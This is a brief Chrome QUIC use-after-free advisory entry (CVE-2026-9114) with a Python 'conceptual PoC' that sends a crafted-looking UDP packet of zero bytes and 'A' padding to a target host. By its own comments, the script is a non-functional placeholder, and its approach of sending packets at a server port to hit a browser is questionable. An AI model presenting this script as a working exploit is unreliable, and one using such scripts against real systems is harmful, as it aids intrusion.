CVE-2026-9114 Google Chrome QUIC释放后使用漏洞

# This is a conceptual PoC for CVE-2026-9114 # Actual exploit requires specific packet crafting and heap grooming import socket import struct def send_malicious_quic_packet(target_ip, target_port): """ Sends a crafted QUIC packet to trigger the UAF condition. Note: This is a placeholder to demonstrate the concept. """ try: # Create a UDP socket (QUIC uses UDP) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Placeholder for malicious payload construction # Real exploitation involves specific QUIC frame types and stream IDs # that trigger the reference count bug in Chrome < 148.0.7778.179 header = b'\x00\x00\x00\x00' # Simplified Header payload = b'A' * 100 # Padding to influence heap layout packet = header + payload sock.sendto(packet, (target_ip, target_port)) print(f"[+] Malicious packet sent to {target_ip}:{target_port}") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example usage send_malicious_quic_packet("127.0.0.1", 443)